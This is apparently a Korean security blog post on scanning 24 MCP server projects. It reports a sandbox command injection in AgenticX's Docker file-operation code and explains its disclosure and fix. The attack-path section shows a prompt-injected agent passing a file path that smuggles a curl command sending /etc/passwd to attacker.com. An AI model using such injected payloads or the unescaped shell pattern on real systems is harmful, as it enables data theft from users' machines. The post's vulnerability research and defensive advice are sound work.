24개의 MCP 서버 프로젝트를 스캔하여 실제 샌드박스 커맨드 인젝션(CVSS 9.8)을 발견하다

LLM (Large Language Model)이 프롬프트 인젝션 (Prompt Injection)을 통해 침해되었을 때, 이는 일반적인 경우와 마찬가지로 MCP 도구를 호출합니다. 만약 해당 MCP 서버들에 입력값 검증 (Input Validation)이 부족하다면, 이는 공격자에게 열린 문이 됩니다.

지난 몇 달 동안 MCP (Model Context Protocol)는 AI 에이전트가 외부 도구와 연결되는 사실상의 표준 (de facto standard)이 되었습니다. Cursor, Claude Desktop, 그리고 다양한 AI 코딩 도구들은 파일 액세스, 데이터베이스 작업, 브라우저 자동화, 코드 샌드박스 (Code Sandbox) 실행과 같은 기능을 위해 모두 MCP 서버에 의존하고 있습니다.

하지만 한 가지 질문이 계속 저를 괴롭혔습니다: 이 MCP 서버들은 실제로 안전할까?

"이론적으로 취약점이 있을 수도 있다"는 식의 막연한 불안감이 아닙니다. 제 말은, 만약 제가 LLM에 악의적인 프롬프트 인젝션을 설계하여 주입하는 공격자이고, 에이전트가 MCP 도구를 호출한다면... 서버에서 실제로 제 명령을 실행하게 될까? 하는 점입니다.

이를 알아내기 위해, 저는 구체적인 행동을 취했습니다:

저는 보안 취약점을 찾기 위해 24개의 오픈 소스 MCP 서버 프로젝트를 블라인드 테스트했습니다.

스캔 대상

저는 GitHub에서 별(Star) 개수가 100개에서 1,000개 사이인 프로젝트들을 구체적인 타겟으로 삼았습니다.

Cline (65k⭐), OpenHands (82k⭐), 또는 Aider (47k⭐)와 같은 대형 프로젝트들은 왜 제외했을까요? 그 프로젝트들은 이미 커뮤니티의 면밀한 검토를 통해 검증되었기 때문입니다. 저도 그 프로젝트들을 스캔했습니다. 상위 6개 프로젝트, 10,000개 이상의 파일, 실제 취약점은 0건이었습니다.

중위권 프로젝트들은 다릅니다. 실제 사용자들이 있지만 보안 감사 (Security Audit) 범위는 불충분합니다. 개발자들은 빠른 반복 (Rapid-iteration) 모드에 있으며, 입력값 검증 (Input Validation)이나 경로 정화 (Path Sanitization)와 같은 "기능에 영향을 주지 않는" 세부 사항보다는 기능 구현을 우선시합니다.

24개의 프로젝트는 파일 작업, 코드 샌드박스, 데이터베이스 액세스, 브라우저 자동화, 이메일 서비스 등 주요 MCP 사용 사례를 포괄했습니다.

스캐너는 AI 에이전트 코드의 위험 패턴을 위해 특수 제작되었으며, 5가지 고위험 취약점 카테고리를 다룹니다:

• 커맨드 인젝션 (Command injection): 셸 커맨드 구성, exec/eval 인젝션
• 경로 탐색 (Path traversal): 검증되지 않은 파일 경로 작업
• SSRF: 사용자 제어 가능한 URL HTTP 요청
• SQL 인젝션 (SQL injection): 문자열 결합형 SQL 쿼리
• 샌드박스 탈출 (Sandbox escape): 컨테이너 커맨드 인젝션, 권한 상승 (privilege escalation)

내가 발견한 것

스캔 결과:

• 스캔된 파일 수: 5,911개
• 초기 경고: CRITICAL 37개 + HIGH 44개 + MEDIUM 13개
• 수동 감사 후 확인된 실제 취약점: 1개 프로젝트

해당 프로젝트는 Docker 샌드박스 실행을 제공하는 MCP 기반 AI 에이전트 프레임워크인 AgenticX (202⭐)였습니다.

취약점 유형: 샌드박스 커맨드 인젝션 (Sandbox Command Injection). CVSS 점수: 9.8 Critical.

취약점의 형태

agenticx/sandbox/backends/docker.py에서 네 가지 파일 작업 메서드가 다음과 같이 셸 커맨드를 구성했습니다:

# read_file() - line ~503
await self.execute(f"cat '{path}'", language="shell")

...

문제가 보이시나요? path 파라미터가 검증(validation) 없이 LLM의 도구 호출(tool call)로부터 셸 커맨드 구성으로 직접 흘러 들어갑니다.

shlex.quote() 이스케이프 없음.
경로 정규화 (path normalization) 없음.
.. 경로 탐색 체크 없음.
전체 코드 검색 결과: 샌드박스 코드 전체에서 shlex 임포트 0개, validate_path 함수 0개.

공격 경로:

공격자가 악의적인 프롬프트 작성
  → LLM이 침해되어 FileOperationTool 호출
    → path = "' && curl http://attacker.com/exfil?d=$(cat /etc/passwd | base64) && echo '"
...

네, 이것은 Docker 컨테이너 내부에서 실행됩니다. 하지만 컨테이너는 다음과 같은 상태일 수 있습니다:

• 호스트 볼륨이 마운트되어 있음
• 내부 서비스에 대한 네트워크 액세스 권한이 있음
• 민감한 환경 변수를 포함하고 있음
• 특권 모드 (privileged mode)로 실행 중임

이것은

import shlex
import os

...

그 후 스캐너 (v3.2.1)는 shlex.quote()와 _validate_path()를 보안 정화 (security sanitization)로 인식하는 능력을 갖추게 되었습니다:

이것이 전체 루프입니다: 스캔 → 발견 → 수정 제안 → 수정 → 재스캔 → 자동 등급 하향.

수동 검증이 필요하지 않습니다. 스캐너가 사용자가 문제를 수정했는지 여부를 스스로 판단할 수 있습니다.

세 가지 흥미로운 시사점

1. 주요 프로젝트들은 실제로 잘 구축되어 있음

Cline, Continue, Aider, OpenHands, Goose, Authgear — 6개의 프로젝트, 10,000개 이상의 파일, 총 280,000개 이상의 스타(stars) — 이들 모두 실제 취약점 없이 통과했습니다.

성숙한 팀들은 보안 의식을 갖추고 있습니다. 이들은 쉘 문자열 (shell strings) 대신 인자 리스트 (argument lists)를 사용하여 subprocess를 사용하고, 파일 경로를 검증하며, 민감한 엔드포인트에 인증 미들웨어 (auth middleware)를 배치합니다.

2. 오탐 (False Positives)은 실제적인 문제임

24개의 프로젝트에서 94개의 초기 경고(CRITICAL 37개 + HIGH 44개 + MEDIUM 13개)가 생성되었으나, 수동 감사 결과 단 1개의 실제 취약점만이 확인되었습니다. 오탐률은 56%였습니다.

이는 다음을 의미합니다: 문맥 분석 (contextual analysis) 없이는 보안 도구는 그저 노이즈 생성기에 불과합니다.

따라서 우리는 v3.2.1에서 L2 문맥 분석을 구축했습니다. PyTorch의 model.eval()이 Python의 eval()이 아니라는 점, 딕셔너리 키 상수가 하드코딩된 비밀값(secrets)이 아니라는 점, Alembic 마이그레이션 DDL이 SQL 인젝션 (SQL injection)이 아니라는 점 등을 인식하도록 했습니다.

최적화 이후, CRITICAL+HIGH 오탐률은 3.8%로 떨어졌습니다.

3. MCP의 보안 문제는 프로토콜에 있지 않음

MCP 프로토콜 자체에는 보안 문제가 없습니다. 그것은 단지 메시지 형식일 뿐입니다. 문제는 **구현 (implementation)**에 있습니다. 즉, 개발자가 MCP 서버를 작성할 때 LLM으로부터 전달받은 파라미터를 어떻게 처리하느냐의 문제입니다.

단 한 번의 f-string 결합(concatenation)이나 shlex.quote()의 누락만으로도 에이전트 신뢰 체인 (agent trust chain) 전체가 무너질 수 있습니다.

이것이 의미하는 바

AI 개발자들을 위해: LLM 도구 호출 (tool calls)로부터 귀하의 MCP 서버 코드로 흐르는 모든 파라미터는 신뢰할 수 없는 입력 (untrusted input)으로 취급해야 합니다. 단순히 "이론적으로" 신뢰할 수 없는 것이 아닙니다. 프롬프트 인젝션 (prompt injection)이 발생하면, 해당 입력에는 반드시 악성 콘텐츠가 포함될 것입니다.

AI 플랫폼들을 위해: 귀하의 플랫폼을 통해 사용자가 제3자 MCP 서버를 호출할 때, 해당 서버의 코드가 안전하다고 보장할 수 없습니다. 독립적인 런타임 검증 (runtime verification) 계층이 필요합니다.

보안 업계를 위해: AI 에이전트 보안은 전통적인 SAST (정적 애플리케이션 보안 테스트)가 해결할 수 있는 문제가 아닙니다. SonarQube나 Semgrep은 MCP 도구 호출이 무엇인지, 또는 에이전트 신뢰 체인 (agent trust chains)의 의미론 (semantics)이 무엇인지 이해하지 못합니다. 이 영역에는 목적에 맞게 제작된 도구들이 필요합니다.

다음 단계

• AgenticX 취약점 비공개 채널을 통해 공개됨, CVE 승인 대기 중
• 스캔 범위 50개 이상의 프로젝트로 확장 중
• 보안 베이스라인 기능들이 점진적으로 오픈 소스로 공개될 예정
• CCS (에이전트 런타임 검증 표준)를 IETF에 제출 (draft-correctover-ccs-00)

저자: Guigui Wang | Correctover

중점 분야: 에이전트 시스템 런타임 검증 (Agent Systems Runtime Verification)

연락처: wangguigui@correctover.com

AI 보안 분야에서 활동 중이시라면, 연락 부탁드립니다.